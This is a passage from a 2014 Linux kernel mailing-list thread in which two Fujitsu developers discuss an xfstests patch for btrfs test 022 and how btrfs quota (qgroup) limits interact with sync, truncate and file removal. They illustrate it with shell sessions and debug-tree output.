X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,615,1384272000"; d="scan'208";a="9381904" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 07 Jan 2014 10:16:44 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s072KKYY022270; Tue, 7 Jan 2014 10:20:20 +0800 Received: from [10.167.226.104] ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014010710192074-873925 ; Tue, 7 Jan 2014 10:19:20 +0800 Message-ID: <52CB642C.10500@cn.fujitsu.com> Date: Tue, 07 Jan 2014 10:19:24 +0800 From: Wang Shilong User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130612 Thunderbird/17.0.6 MIME-Version: 1.0 To: Tsutomu Itoh CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, Josef Bacik Subject: Re: [PATCH] xfstests: fix wrong return check for case 022 References: <1388995737-3480-1-git-send-email-wangsl.fnst@cn.fujitsu.com> <52CA67F2.9010108@jp.fujitsu.com> <52CA6DDF.3080306@cn.fujitsu.com> <52CB5441.3030004@jp.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix wrong return check for case 022 In-Reply-To: <52CB5441.3030004@jp.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/07 10:19:20, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/07 10:19:21, Serialize complete at 2014/01/07 10:19:21 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-2022-JP X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1389061222 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: -0.00 X-Barracuda-Spam-Status: No, SCORE=-0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ISO2022JP_CHARSET X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143813 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 ISO2022JP_CHARSET ISO-2022-JP message On 01/07/2014 09:11 AM, Tsutomu Itoh wrote: > On 2014/01/06 17:48, Wang Shilong wrote: >> Itoh San, >> >> On 01/06/2014 04:23 PM, Tsutomu Itoh wrote: >>> On 2014/01/06 17:08, Wang Shilong wrote: >>>> Here we expect 0 as return value, fix it. >>>> >>>> Signed-off-by: Wang Shilong >>>> Cc: Josef Bacik >>>> --- >>>> tests/btrfs/022 | 2 +- >>>> 1 file changed, 1 insertion(+), 1 deletion(-) >>>> mode change 100644 => 100755 tests/btrfs/022 >>>> >>>> diff --git a/tests/btrfs/022 b/tests/btrfs/022 >>>> old mode 100644 >>>> new mode 100755 >>>> index 5b18643..142aaf9 >>>> --- a/tests/btrfs/022 >>>> +++ b/tests/btrfs/022 >>>> @@ -106,7 +106,7 @@ _limit_test() >>>> [ $? -ne 0 ] || _fail "quota should have limited us" >>>> dd if=/dev/urandom of=$SCRATCH_MNT/a/file bs=4M count=1 >> \ >>>> $seqres.full 2>&1 >>>> - [ $? -eq 0 ] || _fail "should have been allowed to write" >>>> + [ $? -ne 0 ] || _fail "should have been allowed to write" >>> from "man bash", >>> An OR list has the form >>> command1 || command2 >>> command2 is executed if and only if command1 returns a non-zero exit >>> status. >>> >>> So, original code is OK, I think. >> You are absolutely right, during my test i found we fail this case. >> I took a careful think about this: >> >> The problem is that we should clear the data we have written before, >> Because we may write some data before, for example we limit subvolume to 5M >> then we try this: >> >> # dd if=/dev/zero of=/mnt/data bs=10M count=1 >> >> Although we try to write 10M once, in kernel, we may split it into >> several request, >> at the end, we can still write some data actually, you can try the >> following command >> after the above command. >> >> # du -sh /mnt/data >> >> Here i think the best way to fix this problem is we disable quota and >> retry with 4m. > Umm... I don't think so. > Writing (or truncating) succeeds if sync is executed before writing 4MB. > Therefore, I think that there are some problems in quota. Itoh-San, The problem is that 'btrfs filesystem sync' will flush and commit transaction which will release some space, and this may give us enough space to reserve metadata space to truncate/remove file. For the below example: # dd if=/dev/zero of=/mnt/data bs=10M count=1 # sync # btrfs qgroup show /mnt qgroupid rfer excl -------- ---- ---- 0/5 5177344 5177344 Limit is 5M which means we still leave 65536 bytes space(4 leafsize). If you try: # rm -f /mnt/data It must fail, because, unlink a file will first try to reserve 5 nodesize(see __unlink_start_trans()) Let's see why truncate can succeed! # btrfs-debug-tree /dev/sda fs tree key (FS_TREE ROOT_ITEM 0) leaf 29966336 items 7 free space 15641 generation 11 owner 5 fs uuid 2b854d8d-710c-43c5-a6d5-0cb8b6b232ea chunk uuid 9b65e155-33b3-44d3-a413-bbc97af700a7 item 0 key (256 INODE_ITEM 0) itemoff 16123 itemsize 160 inode generation 3 transid 11 size 8 block group 0 mode 40755 links 1 item 1 key (256 INODE_REF 256) itemoff 16111 itemsize 12 inode ref index 0 namelen 2 name: .. item 2 key (256 DIR_ITEM 2355243158) itemoff 16077 itemsize 34 location key (259 INODE_ITEM 0) type FILE namelen 4 datalen 0 name: data item 3 key (256 DIR_INDEX 4) itemoff 16043 itemsize 34 location key (259 INODE_ITEM 0) type FILE namelen 4 datalen 0 name: data item 4 key (259 INODE_ITEM 0) itemoff 15883 itemsize 160 inode generation 11 transid 11 size 5160960 block group 0 mode 100644 links 1 item 5 key (259 INODE_REF 256) itemoff 15869 itemsize 14 inode ref index 4 namelen 4 name: data item 6 key (259 EXTENT_DATA 0) itemoff 15816 itemsize 53 extent data disk byte 12713984 nr 5160960 extent data offset 0 nr 5160960 ram 5160960 extent compression 0 For truncating inode, we will reserve 2 leafsize every time and and then free qgroup reserved space in btrfs_end_transaction(), however, for this case, we only do one loop. So command 'truncate -s 0 /mnt/data' should return successfully. Please correct me if i miss something here ^_^ Thanks, Wang > > =============================================================== > > # mkfs.btrfs -f /dev/sdc2 > > WARNING! - Btrfs v3.12 IS EXPERIMENTAL > WARNING! - see http://btrfs.wiki.kernel.org before using > > Turning ON incompat feature 'extref': increased hardlink limit per file to 65536 > fs created label (null) on /dev/sdc2 > nodesize 16384 leafsize 16384 sectorsize 4096 size 9.31GiB > Btrfs v3.12 > # mount /dev/sdc2 /test8 > # btrfs quota enable /test8 > # btrfs qgroup limit 5M /test8 > # dd if=/dev/zero of=/test8/file1 bs=10M count=1 > dd: error writing '/test8/file1': Disk quota exceeded > 1+0 records in > 0+0 records out > 5160960 bytes (5.2 MB) copied, 0.012274 s, 420 MB/s > # ls -ls /test8/file1 > 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 > # truncate -s 0 /test8/file1 > truncate: failed to truncate '/test8/file1' at 0 bytes: Disk quota exceeded > # ls -ls /test8/file1 > 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 > # dd if=/dev/zero of=/test8/file1 bs=4M count=1 > dd: failed to open '/test8/file1': Disk quota exceeded > # ls -ls /test8/file1 > 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 > # > > --------------------------------------------------------------- > > # mkfs.btrfs -f /dev/sdc2 > > WARNING! - Btrfs v3.12 IS EXPERIMENTAL > WARNING! - see http://btrfs.wiki.kernel.org before using > > Turning ON incompat feature 'extref': increased hardlink limit per file to 65536 > fs created label (null) on /dev/sdc2 > nodesize 16384 leafsize 16384 sectorsize 4096 size 9.31GiB > Btrfs v3.12 > # mount /dev/sdc2 /test8 > # btrfs quota enable /test8 > # btrfs qgroup limit 5M /test8 > # dd if=/dev/zero of=/test8/file1 bs=10M count=1 > dd: error writing '/test8/file1': Disk quota exceeded > 1+0 records in > 0+0 records out > 5160960 bytes (5.2 MB) copied, 0.0120232 s, 429 MB/s > # ls -ls /test8/file1 > 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 > # btrfs filesystem sync /test8 > FSSync '/test8' > # truncate -s 0 /test8/file1 > # ls -ls /test8/file1 > 0 -rw-r--r-- 1 root root 0 Jan 7 09:54 /test8/file1 > # dd if=/dev/zero of=/test8/file1 bs=4M count=1 > 1+0 records in > 1+0 records out > 4194304 bytes (4.2 MB) copied, 0.00734557 s, 571 MB/s > # ls -ls /test8/file1 > 4096 -rw-r--r-- 1 root root 4194304 Jan 7 09:54 /test8/file1 > # > > =============================================================== > > Thanks, > Tsutomu > >> # btrfs qgroup limit none /mnt <------------- in case we are nearly full >> and we can not delete file. >> # rm -rf /mnt/data && btrfs filesystem sync /mnt >> # btrfs qgroup limit 5m /mnt >> # dd if=/dev/zero of=/mnt bs=4m count=1 >> >> Please correct me if i miss something here.^_^ >> >> Thanks, >> Wang >>> Thanks, >>> Tsutomu >>> >>>> } >>>> >>>> _scratch_mkfs > /dev/null 2>&1 >>>> > > -- > To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > From t-itoh@jp.fujitsu.com Mon Jan 6 21:25:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AE4D67F37 for ; Mon, 6 Jan 2014 21:25:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8ACBD30406B for ; Mon, 6 Jan 2014 19:25:19 -0800 (PST) X-ASG-Debug-ID: 1389065112-04cbb04169c4c340001-NocioJ Received: from fgwmail6.fujitsu.co.jp ([192.51.44.36]) by cuda.sgi.com with ESMTP id iqKANJC5oSaS6GMC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 06 Jan 2014 19:25:13 -0800 (PST) X-Barracuda-Envelope-From: t-itoh@jp.fujitsu.com X-Barracuda-Apparent-Source-IP: 192.51.44.36 Received: from m2.gw.fujitsu.co.jp (unknown [10.0.50.72]) by fgwmail6.fujitsu.co.jp (Postfix) with ESMTP id 2E1C53EE0BB for ; Tue, 7 Jan 2014 12:25:12 +0900 (JST) Received: from smail (m2 [127.0.0.1]) by outgoing.m2.gw.fujitsu.co.jp (Postfix) with ESMTP id 1D8CE45DE50 for ; Tue, 7 Jan 2014 12:25:12 +0900 (JST) Received: from s2.gw.fujitsu.co.jp (s2.gw.nic.fujitsu.com [10.0.50.92]) by m2.gw.fujitsu.co.jp (Postfix) with ESMTP id 04B3745DE3E for ; Tue, 7 Jan 2014 12:25:12 +0900 (JST) Received: from s2.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1]) by s2.gw.fujitsu.co.jp (Postfix) with ESMTP id EA5D21DB803E for ; Tue, 7 Jan 2014 12:25:11 +0900 (JST) Received: from ml14.s.css.fujitsu.com (ml14.s.css.fujitsu.com [10.240.81.134]) by s2.gw.fujitsu.co.jp (Postfix) with ESMTP id 96B681DB803C for ; Tue, 7 Jan 2014 12:25:11 +0900 (JST) Received: from ml14.css.fujitsu.com (ml14 [127.0.0.1]) by ml14.s.css.fujitsu.com (Postfix) with ESMTP id 69C7B584006; Tue, 7 Jan 2014 12:25:11 +0900 (JST) Received: from [127.0.0.1] (univ278.g01.fujitsu.local [10.124.102.72]) by ml14.s.css.fujitsu.com (Postfix) with ESMTP id 0A1A0584001; Tue, 7 Jan 2014 12:25:11 +0900 (JST) X-SecurityPolicyCheck: OK by SHieldMailChecker v1.7.4 Message-ID: <52CB7388.2040102@jp.fujitsu.com> Date: Tue, 07 Jan 2014 12:24:56 +0900 From: Tsutomu Itoh User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Wang Shilong CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, Josef Bacik Subject: Re: [PATCH] xfstests: fix wrong return check for case 022 References: <1388995737-3480-1-git-send-email-wangsl.fnst@cn.fujitsu.com> <52CA67F2.9010108@jp.fujitsu.com> <52CA6DDF.3080306@cn.fujitsu.com> <52CB5441.3030004@jp.fujitsu.com> <52CB642C.10500@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix wrong return check for case 022 In-Reply-To: <52CB642C.10500@cn.fujitsu.com> Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Barracuda-Connect: UNKNOWN[192.51.44.36] X-Barracuda-Start-Time: 1389065113 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ISO2022JP_CHARSET, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143814 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 ISO2022JP_CHARSET ISO-2022-JP message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On 2014/01/07 11:19, Wang Shilong wrote: > On 01/07/2014 09:11 AM, Tsutomu Itoh wrote: >> On 2014/01/06 17:48, Wang Shilong wrote: >>> Itoh San, >>> >>> On 01/06/2014 04:23 PM, Tsutomu Itoh wrote: >>>> On 2014/01/06 17:08, Wang Shilong wrote: >>>>> Here we expect 0 as return value, fix it. >>>>> >>>>> Signed-off-by: Wang Shilong >>>>> Cc: Josef Bacik >>>>> --- >>>>> tests/btrfs/022 | 2 +- >>>>> 1 file changed, 1 insertion(+), 1 deletion(-) >>>>> mode change 100644 => 100755 tests/btrfs/022 >>>>> >>>>> diff --git a/tests/btrfs/022 b/tests/btrfs/022 >>>>> old mode 100644 >>>>> new mode 100755 >>>>> index 5b18643..142aaf9 >>>>> --- a/tests/btrfs/022 >>>>> +++ b/tests/btrfs/022 >>>>> @@ -106,7 +106,7 @@ _limit_test() >>>>> [ $? -ne 0 ] || _fail "quota should have limited us" >>>>> dd if=/dev/urandom of=$SCRATCH_MNT/a/file bs=4M count=1 >> \ >>>>> $seqres.full 2>&1 >>>>> - [ $? -eq 0 ] || _fail "should have been allowed to write" >>>>> + [ $? -ne 0 ] || _fail "should have been allowed to write" >>>> from "man bash", >>>> An OR list has the form >>>> command1 || command2 >>>> command2 is executed if and only if command1 returns a non-zero exit >>>> status. >>>> >>>> So, original code is OK, I think. >>> You are absolutely right, during my test i found we fail this case. >>> I took a careful think about this: >>> >>> The problem is that we should clear the data we have written before, >>> Because we may write some data before, for example we limit subvolume to 5M >>> then we try this: >>> >>> # dd if=/dev/zero of=/mnt/data bs=10M count=1 >>> >>> Although we try to write 10M once, in kernel, we may split it into >>> several request, >>> at the end, we can still write some data actually, you can try the >>> following command >>> after the above command. >>> >>> # du -sh /mnt/data >>> >>> Here i think the best way to fix this problem is we disable quota and >>> retry with 4m. >> Umm... I don't think so. >> Writing (or truncating) succeeds if sync is executed before writing 4MB. >> Therefore, I think that there are some problems in quota. > Itoh-San, > > The problem is that 'btrfs filesystem sync' will flush and commit > transaction > which will release some space, and this may give us enough space to reserve > metadata space to truncate/remove file. Yes, I understand internal logic. But execution result is different when sync was executed or not executed. This operation confuses the user, I think. What do you think about this? Thanks, Tsutomu > > For the below example: > > # dd if=/dev/zero of=/mnt/data bs=10M count=1 > # sync > # btrfs qgroup show /mnt > > qgroupid rfer excl > -------- ---- ---- > 0/5 5177344 5177344 > > Limit is 5M which means we still leave 65536 bytes space(4 leafsize). > > If you try: > # rm -f /mnt/data > > It must fail, because, unlink a file will first try to > reserve 5 nodesize(see __unlink_start_trans()) > > Let's see why truncate can succeed! > > # btrfs-debug-tree /dev/sda > > fs tree key (FS_TREE ROOT_ITEM 0) > leaf 29966336 items 7 free space 15641 generation 11 owner 5 > fs uuid 2b854d8d-710c-43c5-a6d5-0cb8b6b232ea > chunk uuid 9b65e155-33b3-44d3-a413-bbc97af700a7 > item 0 key (256 INODE_ITEM 0) itemoff 16123 itemsize 160 > inode generation 3 transid 11 size 8 block group 0 mode 40755 links 1 > item 1 key (256 INODE_REF 256) itemoff 16111 itemsize 12 > inode ref index 0 namelen 2 name: .. > item 2 key (256 DIR_ITEM 2355243158) itemoff 16077 itemsize 34 > location key (259 INODE_ITEM 0) type FILE > namelen 4 datalen 0 name: data > item 3 key (256 DIR_INDEX 4) itemoff 16043 itemsize 34 > location key (259 INODE_ITEM 0) type FILE > namelen 4 datalen 0 name: data > item 4 key (259 INODE_ITEM 0) itemoff 15883 itemsize 160 > inode generation 11 transid 11 size 5160960 block group 0 mode 100644 > links 1 > item 5 key (259 INODE_REF 256) itemoff 15869 itemsize 14 > inode ref index 4 namelen 4 name: data > item 6 key (259 EXTENT_DATA 0) itemoff 15816 itemsize 53 > extent data disk byte 12713984 nr 5160960 > extent data offset 0 nr 5160960 ram 5160960 > extent compression 0 > > > For truncating inode, we will reserve 2 leafsize every time and and then > free qgroup > reserved space in btrfs_end_transaction(), however, for this case, we > only do one loop. > So command 'truncate -s 0 /mnt/data' should return successfully. > > Please correct me if i miss something here ^_^ > > Thanks, > Wang >> >> =============================================================== >> >> # mkfs.btrfs -f /dev/sdc2 >> >> WARNING! - Btrfs v3.12 IS EXPERIMENTAL >> WARNING! - see http://btrfs.wiki.kernel.org before using >> >> Turning ON incompat feature 'extref': increased hardlink limit per file to 65536 >> fs created label (null) on /dev/sdc2 >> nodesize 16384 leafsize 16384 sectorsize 4096 size 9.31GiB >> Btrfs v3.12 >> # mount /dev/sdc2 /test8 >> # btrfs quota enable /test8 >> # btrfs qgroup limit 5M /test8 >> # dd if=/dev/zero of=/test8/file1 bs=10M count=1 >> dd: error writing '/test8/file1': Disk quota exceeded >> 1+0 records in >> 0+0 records out >> 5160960 bytes (5.2 MB) copied, 0.012274 s, 420 MB/s >> # ls -ls /test8/file1 >> 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 >> # truncate -s 0 /test8/file1 >> truncate: failed to truncate '/test8/file1' at 0 bytes: Disk quota exceeded >> # ls -ls /test8/file1 >> 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 >> # dd if=/dev/zero of=/test8/file1 bs=4M count=1 >> dd: failed to open '/test8/file1': Disk quota exceeded >> # ls -ls /test8/file1 >> 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 >> # >> >> --------------------------------------------------------------- >> >> # mkfs.btrfs -f /dev/sdc2 >> >> WARNING! - Btrfs v3.12 IS EXPERIMENTAL >> WARNING! - see http://btrfs.wiki.kernel.org before using >> >> Turning ON incompat feature 'extref': increased hardlink limit per file to 65536 >> fs created label (null) on /dev/sdc2 >> nodesize 16384 leafsize 16384 sectorsize 4096 size 9.31GiB >> Btrfs v3.12 >> # mount /dev/sdc2 /test8 >> # btrfs quota enable /test8 >> # btrfs qgroup limit 5M /test8 >> # dd if=/dev/zero of=/test8/file1 bs=10M count=1 >> dd: error writing '/test8/file1': Disk quota exceeded >> 1+0 records in >> 0+0 records out >> 5160960 bytes (5.2 MB) copied, 0.0120232 s, 429 MB/s >> # ls -ls /test8/file1 >> 5040 -rw-r--r-- 1 root root 5160960 Jan 7 09:54 /test8/file1 >> # btrfs filesystem sync /test8 >> FSSync '/test8' >> # truncate -s 0 /test8/file1 >> # ls -ls /test8/file1 >> 0 -rw-r--r-- 1 root root 0 Jan 7 09:54 /test8/file1 >> # dd if=/dev/zero of=/test8/file1 bs=4M count=1 >> 1+0 records in >> 1+0 records out >> 4194304 bytes (4.2 MB) copied, 0.00734557 s, 571 MB/s >> # ls -ls /test8/file1 >> 4096 -rw-r--r-- 1 root root 4194304 Jan 7 09:54 /test8/file1 >> # >> >> =============================================================== >> >> Thanks, >> Tsutomu >> >>> # btrfs qgroup limit none /mnt <------------- in case we are nearly full >>> and we can not delete file. >>> # rm -rf /mnt/data && btrfs filesystem sync /mnt >>> # btrfs qgroup limit 5m /mnt >>> # dd if=/dev/zero of=/mnt bs=4m count=1 >>> >>> Please correct me if i miss something here.^_^ >>> >>> Thanks, >>> Wang >>>> Thanks, >>>> Tsutomu >>>> >>>>> } >>>>> >>>>> _scratch_mkfs > /dev/null 2>&1 >>>>> >> From wangsl.fnst@cn.fujitsu.com Mon Jan 6 21:49:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EB3BB7F37 for ; Mon, 6 Jan 2014 21:49:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B8573304077 for ; Mon, 6 Jan 2014 19:49:24 -0800 (PST) X-ASG-Debug-ID: 1389066562-04bdf00fe2546de0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id l6UdAm7AyuMTasC0 for ; Mon, 06 Jan 2014 19:49:22 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,616,1384272000"; d="scan'208";a="9382529" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 07 Jan 2014 11:45:44 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s073nL0Q028452; Tue, 7 Jan 2014 11:49:21 +0800 Received: from [10.167.226.104] ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014010711482137-876932 ; Tue, 7 Jan 2014 11:48:21 +0800 Message-ID: <52CB7909.8020202@cn.fujitsu.com> Date: Tue, 07 Jan 2014 11:48:25 +0800 From: Wang Shilong User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130612 Thunderbird/17.0.6 MIME-Version: 1.0 To: Tsutomu Itoh CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, Josef Bacik Subject: Re: [PATCH] xfstests: fix wrong return check for case 022 References: <1388995737-3480-1-git-send-email-wangsl.fnst@cn.fujitsu.com> <52CA67F2.9010108@jp.fujitsu.com> <52CA6DDF.3080306@cn.fujitsu.com> <52CB5441.3030004@jp.fujitsu.com> <52CB642C.10500@cn.fujitsu.com> <52CB7388.2040102@jp.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix wrong return check for case 022 In-Reply-To: <52CB7388.2040102@jp.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/07 11:48:21, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/07 11:48:21, Serialize complete at 2014/01/07 11:48:21 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-2022-JP X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1389066562 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: -0.00 X-Barracuda-Spam-Status: No, SCORE=-0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ISO2022JP_CHARSET X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143814 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 ISO2022JP_CHARSET ISO-2022-JP message On 01/07/2014 11:24 AM, Tsutomu Itoh wrote: > On 2014/01/07 11:19, Wang Shilong wrote: >> On 01/07/2014 09:11 AM, Tsutomu Itoh wrote: >>> On 2014/01/06 17:48, Wang Shilong wrote: >>>> Itoh San, >>>> >>>> On 01/06/2014 04:23 PM, Tsutomu Itoh wrote: >>>>> On 2014/01/06 17:08, Wang Shilong wrote: >>>>>> Here we expect 0 as return value, fix it. >>>>>> >>>>>> Signed-off-by: Wang Shilong >>>>>> Cc: Josef Bacik >>>>>> --- >>>>>> tests/btrfs/022 | 2 +- >>>>>> 1 file changed, 1 insertion(+), 1 deletion(-) >>>>>> mode change 100644 => 100755 tests/btrfs/022 >>>>>> >>>>>> diff --git a/tests/btrfs/022 b/tests/btrfs/022 >>>>>> old mode 100644 >>>>>> new mode 100755 >>>>>> index 5b18643..142aaf9 >>>>>> --- a/tests/btrfs/022 >>>>>> +++ b/tests/btrfs/022 >>>>>> @@ -106,7 +106,7 @@ _limit_test() >>>>>> [ $? -ne 0 ] || _fail "quota should have limited us" >>>>>> dd if=/dev/urandom of=$SCRATCH_MNT/a/file bs=4M count=1 >> \ >>>>>> $seqres.full 2>&1 >>>>>> - [ $? -eq 0 ] || _fail "should have been allowed to write" >>>>>> + [ $? -ne 0 ] || _fail "should have been allowed to write" >>>>> from "man bash", >>>>> An OR list has the form >>>>> command1 || command2 >>>>> command2 is executed if and only if command1 returns a non-zero exit >>>>> status. >>>>> >>>>> So, original code is OK, I think. >>>> You are absolutely right, during my test i found we fail this case. >>>> I took a careful think about this: >>>> >>>> The problem is that we should clear the data we have written before, >>>> Because we may write some data before, for example we limit subvolume to 5M >>>> then we try this: >>>> >>>> # dd if=/dev/zero of=/mnt/data bs=10M count=1 >>>> >>>> Although we try to write 10M once, in kernel, we may split it into >>>> several request, >>>> at the end, we can still write some data actually, you can try the >>>> following command >>>> after the above command. >>>> >>>> # du -sh /mnt/data >>>> >>>> Here i think the best way to fix this problem is we disable quota and >>>> retry with 4m. >>> Umm... I don't think so. >>> Writing (or truncating) succeeds if sync is executed before writing 4MB. >>> Therefore, I think that there are some problems in quota. >> Itoh-San, >> >> The problem is that 'btrfs filesystem sync' will flush and commit >> transaction >> which will release some space, and this may give us enough space to reserve >> metadata space to truncate/remove file. > Yes, I understand internal logic. But execution result is different when sync > was executed or not executed. This operation confuses the user, I think. > What do you think about this? Yeah, it is a little confused. But like btrfs normal Reservations, Users will encounter ENOSPC, but if they dose something like 'sync', user can still get some space. Aslo this problem only happen when we are nearly to quota limit, so for current situations i have not thought a better solution yet for such case. ^_^ Thanks, Wang > > Thanks, > Tsutomu > >> For the below example: >> >> # dd if=/dev/zero of=/mnt/data bs=10M count=1 >> # sync >> # btrfs qgroup show /mnt >> >> qgroupid rfer excl >> -------- ---- ---- >> 0/5 5177344 5177344 >> >> Limit is 5M which means we still leave 65536 bytes space(4 leafsize). >> >> If you try: >> # rm -f /mnt/data >> >> It must fail, because, unlink a file will first try to >> reserve 5 nodesize(see __unlink_start_trans()) >> >> Let's see why truncate can succeed! >> >> # btrfs-debug-tree /dev/sda >> >> fs tree key (FS_TREE ROOT_ITEM 0) >> leaf 29966336 items 7 free space 15641 generation 11 owner 5 >> fs uuid 2b854d8d-710c-43c5-a6d5-0cb8b6b232ea >> chunk uuid 9b65e155-33b3-44d3-a413-bbc97af700a7 >> item 0 key (256 INODE_ITEM 0) itemoff 16123 itemsize 160 >> inode generation 3 transid 11 size 8 block group 0 mode 40755 links 1 >> item 1 key (256 INODE_REF 256) itemoff 16111 itemsize 12 >> inode ref index 0 namelen 2 name: .. >> item 2 key (256 DIR_ITEM 2355243158) itemoff 16077 itemsize 34 >> location key (259 INODE_ITEM 0) type FILE >> namelen 4 datalen 0 name: data >> item 3 key (256 DIR_INDEX 4) itemoff 16043 itemsize 34 >> location key (259 INODE_ITEM 0) type FILE >> namelen 4 datalen 0 name: data >> item 4 key (259 INODE_ITEM 0) itemoff 15883 itemsize 160 >> inode generation 11 transid 11 size 5160960 block group 0 mode 100644 >> links 1 >> item 5 key (259 INODE_REF 256) itemoff 15869 itemsize 14 >> inode ref index 4 namelen 4 name: data >> item 6 key (259 EXTENT_DATA 0) itemoff 15816 itemsize 53 >> extent data disk byte 12713984 nr 5160960 >> extent data offset 0 nr 5160960 ram 5160960 >> extent compression 0 >> >> >> For truncating inode, we will reserve 2 leafsize every time and and then >> free qgroup >> reserved space in btrfs_end_transaction(), however, for this case, we >> only do one loop. >> So command 'truncate -s 0 /mnt/data' should return successfully. >> >> Please correct me if i miss something here ^_^ >> >> Thanks, >> Wang >>> =============================================================== >>> >>> # mkfs.btrfs -f /dev/sdc2 >>> >>> WARNING! - Btrfs v3.12 IS EXPERIMENTAL >>> WARNING! - see http://btrfs.wiki.kernel.org before using >>> >>> Turning ON incompat feature 'extref': increased hardlink limit per file to 65536 >>> fs created label (null) on /dev/sdc2 >>> nodesize 16384 leafsize 16384 sectorsize 4096 size 9.31GiB >>> Btrfs v3.12 >>> # mount /dev/sdc2 /test8 >>> # btrfs quota enable /test8 >>> # btrfs qgroup limit 5M /test8 >>> # dd 